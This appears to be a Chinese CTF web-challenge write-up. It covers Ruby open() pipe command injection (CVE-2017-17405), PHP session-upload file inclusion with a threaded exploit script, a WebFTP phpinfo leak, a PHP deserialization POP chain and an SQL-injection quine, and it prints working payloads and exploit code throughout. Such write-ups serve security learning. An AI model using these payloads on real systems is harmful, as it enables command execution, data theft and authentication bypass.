PNG图片转换器
附件下载源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49
| require 'sinatra' require 'digest' require 'base64'
get '/' do open("./view/index.html", 'r').read() end
get '/upload' do open("./view/upload.html", 'r').read() end
post '/upload' do unless params[:file] && params[:file][:tempfile] && params[:file][:filename] && params[:file][:filename].split('.')[-1] == 'png' return "<script>alert('error');location.href='/upload';</script>" end begin filename = Digest::MD5.hexdigest(Time.now.to_i.to_s + params[:file][:filename]) + '.png' open(filename, 'wb') { |f| f.write open(params[:file][:tempfile],'r').read() } "Upload success, file stored at #{filename}" rescue 'something wrong' end
end
get '/convert' do open("./view/convert.html", 'r').read() end
post '/convert' do begin unless params['file'] return "<script>alert('error');location.href='/convert';</script>" end
file = params['file'] unless file.index('..') == nil && file.index('/') == nil && file =~ /^(.+)\.png$/ return "<script>alert('dont hack me');</script>" end res = open(file, 'r').read() headers 'Content-Type' => "text/html; charset=utf-8" "var img = document.createElement(\"img\");\nimg.src= \"data:image/png;base64," + Base64.encode64(res).gsub(/\s*/, '') + "\";\n" rescue 'something wrong' end end
|
这里利用的点是CVE-2017-17405
如果传递给 open 函数的文件名参数是以“|”开头,Ruby 会打开一个管道句柄并执行后面的命令。
我们创建一个rb文件测试,内容如下
1 2
| f = open("|whoami") puts f.read
|
然后运行

成功执行了命令,看这道题的关键代码,在/convert
路由处可以利用,不过限制了..
和/
,并且需要png结尾,不过我们可以通过系统变量构造出来
1 2
| 执行ls / file=|ls `echo ${PWD}|cut -c 1`>dotast.png
|

然后再读取dotast.png

base64解码后得到文件名:FLA9_VixNxtSRFfd8IoFlnNvv
,然后就是读取这个文件
1
| file=|cat `echo ${PWD}|cut -c 1`FLA9_VixNxtSRFfd8IoFlnNvv>dotast.png
|
再访问一次file=dotast.png
,base64解码后得到flag

EasyCleanup
session文件包含,之前ctfshow做过的题,直接跑脚本就好*
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
|
import io import requests import threading url = 'http://114.115.134.72:32770/'
def write(session): data = { 'PHP_SESSION_UPLOAD_PROGRESS': '<?php system("cat /flag_is_here_not_are_but_you_find");?>dotasts' } while True: f = io.BytesIO(b'a' * 1024 * 10) response = session.post(url,cookies={'PHPSESSID': 'flag'}, data=data, files={'file': ('dota.txt', f)}) def read(session): while True: response = session.get(url+'?file=/tmp/sess_flag') if 'dotasts' in response.text: print(response.text) break else: print('retry')
if __name__ == '__main__': session = requests.session() write = threading.Thread(target=write, args=(session,)) write.daemon = True write.start() read(session)
|

WebFTP
github上有源码:https://github.com/wifeat/WebFTP
/Readme/mytz.php
中可以执行phpinfo函数
执行后phpinfo有flag

pklovecloud
代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60
| <?php include 'flag.php'; class pkshow { function echo_name() { return "Pk very safe^.^"; } }
class acp { protected $cinder; public $neutron; public $nova; function __construct() { $this->cinder = new pkshow; } function __toString() { if (isset($this->cinder)) return $this->cinder->echo_name(); } }
class ace { public $filename; public $openstack; public $docker; function echo_name() { $this->openstack = unserialize($this->docker); $this->openstack->neutron = $heat; if($this->openstack->neutron === $this->openstack->nova) { $file = "./{$this->filename}"; if (file_get_contents($file)) { return file_get_contents($file); } else { return "keystone lost~"; } } } }
if (isset($_GET['pks'])) { $logData = unserialize($_GET['pks']); echo $logData; } else { highlight_file(__file__); } ?>
|
一个个看,首先pkshow
类排除,没有用,但是acp
类会调用pkshow
的echo_name()
方法,观察到ace
类也有一个echo_name()
方法,所以我们需要改成调用ace
类的echo_name()
方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| class ace { public $filename; public $openstack; public $docker; function echo_name() { $this->openstack = unserialize($this->docker); $this->openstack->neutron = $heat; if($this->openstack->neutron === $this->openstack->nova) { $file = "./{$this->filename}"; if (file_get_contents($file)) { return file_get_contents($file); } else { return "keystone lost~"; } } } }
|
在ace
类中,会反序列docker
中的内容,然后传给openstack
,并且给成员变量$neutron
赋值一个未知数,然后需要类中的neutron
和nova
强相等才会进入if里面,这里我们可以用变量引用的方式去使其永远相等,思路都懂了,构造pop链
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| <?php class acp { protected $cinder; public $neutron; public $nova; function __construct($cinder) { $this -> cinder = $cinder; $this -> neutron = &$this -> nova; } }
class ace { public $filename = "flag.php"; public $openstack; public $docker; function __construct($docker) { $this -> docker = $docker; } }
echo urlencode(serialize(new acp(new ace(serialize(new acp(""))))));
|
然后传参
1
| pks=O%3A3%3A%22acp%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00cinder%22%3BO%3A3%3A%22ace%22%3A3%3A%7Bs%3A8%3A%22filename%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A9%3A%22openstack%22%3BN%3Bs%3A6%3A%22docker%22%3Bs%3A68%3A%22O%3A3%3A%22acp%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00cinder%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22neutron%22%3BN%3Bs%3A4%3A%22nova%22%3BR%3A3%3B%7D%22%3B%7Ds%3A7%3A%22neutron%22%3BN%3Bs%3A4%3A%22nova%22%3BR%3A6%3B%7D
|
右键源码查看flag

yet_another_mysql_injection
http://114.115.143.25:32770/?source 可以查看源代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| <?php include_once("lib.php"); function alertMes($mes,$url){ die("<script>alert('{$mes}');location.href='{$url}';</script>"); }
function checkSql($s) { if(preg_match("/regexp|between|in|flag|=|>|<|and|\||right|left|reverse|update|extractvalue|floor|substr|&|;|\\\$|0x|sleep|\ /i",$s)){ alertMes('hacker', 'index.php'); } }
if (isset($_POST['username']) && $_POST['username'] != '' && isset($_POST['password']) && $_POST['password'] != '') { $username=$_POST['username']; $password=$_POST['password']; if ($username !== 'admin') { alertMes('only admin can login', 'index.php'); } checkSql($password); $sql="SELECT password FROM users WHERE username='admin' and password='$password';"; $user_result=mysqli_query($con,$sql); $row = mysqli_fetch_array($user_result); if (!$row) { alertMes("something wrong",'index.php'); } if ($row['password'] === $password) { die($FLAG); } else { alertMes("wrong password",'index.php'); } }
if(isset($_GET['source'])){ show_source(__FILE__); die; } ?>
|
很显然需要我们输入的passwors和数据库中的强相等才行,搜了一下资料,Quine可以编写一个返回自身的sql查询
参考链接:https://www.shysecurity.com/post/20140705-SQLi-Quine
使用脚本编写payload
1 2 3 4 5 6 7 8 9 10 11 12 13
|
def quine(data, debug=True): if debug: print(data) data = data.replace('@@',"REPLACE(REPLACE(@@,CHAR(34),CHAR(39)),CHAR(64),@@)") blob = data.replace('@@','"@"').replace("'",'"') data = data.replace('@@',"'"+blob+"'") if debug: print(data) return data
result = quine("'UNION/**/SELECT/**/@@/**/AS/**/atao#")
|
运行后得到
1
| 'UNION/**/SELECT/**/REPLACE(REPLACE('"UNION/**/SELECT/**/REPLACE(REPLACE("@",CHAR(34),CHAR(39)),CHAR(64),"@")/**/AS/**/atao#',CHAR(34),CHAR(39)),CHAR(64),'"UNION/**/SELECT/**/REPLACE(REPLACE("@",CHAR(34),CHAR(39)),CHAR(64),"@")/**/AS/**/atao#')/**/AS/**/atao#
|
